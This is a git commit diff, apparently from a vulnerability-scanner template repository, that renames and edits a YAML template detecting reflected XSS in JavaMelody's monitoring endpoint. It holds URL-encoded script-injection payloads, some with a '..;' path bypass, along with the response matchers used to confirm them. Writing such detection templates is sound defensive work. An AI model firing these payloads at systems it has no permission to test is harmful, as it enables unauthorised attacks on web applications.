Update and rename vulnerabilities/JavaMelody/java-melody-xss.yaml to vulnerabilities/other/java-melody-xss.yaml
parent
de36b9a5c6
commit
e5b30f69d1
|
@ -1,4 +1,4 @@
|
|||
id: java-melody-reflected-xss
|
||||
id: java-melody-xss
|
||||
|
||||
info:
|
||||
name: JavaMelody Monitoring XSS
|
||||
|
@ -6,26 +6,26 @@ info:
|
|||
severity: medium
|
||||
description: Reflected cross site scripting (XSS) in JavaMelody monitoring.
|
||||
reference:
|
||||
- https://github.com/javamelody/javamelody/pull/555
|
||||
- https://github.com/Hurdano/JavaMelody-XSS
|
||||
- https://github.com/javamelody/javamelody/pull/555
|
||||
tags: xss,javamelody
|
||||
|
||||
requests:
|
||||
- method: GET
|
||||
path:
|
||||
- '{{BaseURL}}/monitoring?part=graph&graph=usedMemory%3C%2fscript%3E%3Cscript%3Ealert(31337.37)%3C/script%3E'
|
||||
- '{{BaseURL}}/..%3B/monitoring?part=graph&graph=usedMemory%3C%2fscript%3E%3Cscript%3Ealert(31337.37)%3C/script%3E'
|
||||
- '{{BaseURL}}/monitoring?action=clear_counter&counter=%3Cscript%3Ealert(31337.37)%3C/script%3E'
|
||||
- '{{BaseURL}}/..%3B/monitoring?action=clear_counter&counter=%3Cscript%3Ealert(31337.37)%3C/script%3E'
|
||||
- '{{BaseURL}}/monitoring?part=graph&graph=usedMemory%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'
|
||||
|
||||
matchers-condition: and
|
||||
matchers:
|
||||
- type: word
|
||||
words:
|
||||
- 'alert(31337.37)'
|
||||
- '</script><script>alert(document.domain)</script>'
|
||||
|
||||
- type: word
|
||||
part: header
|
||||
words:
|
||||
- 'JavaMelody'
|
||||
- text/html
|
||||
|
||||
- type: status
|
||||
status:
|
||||
- 200
|
Loading…
Reference in New Issue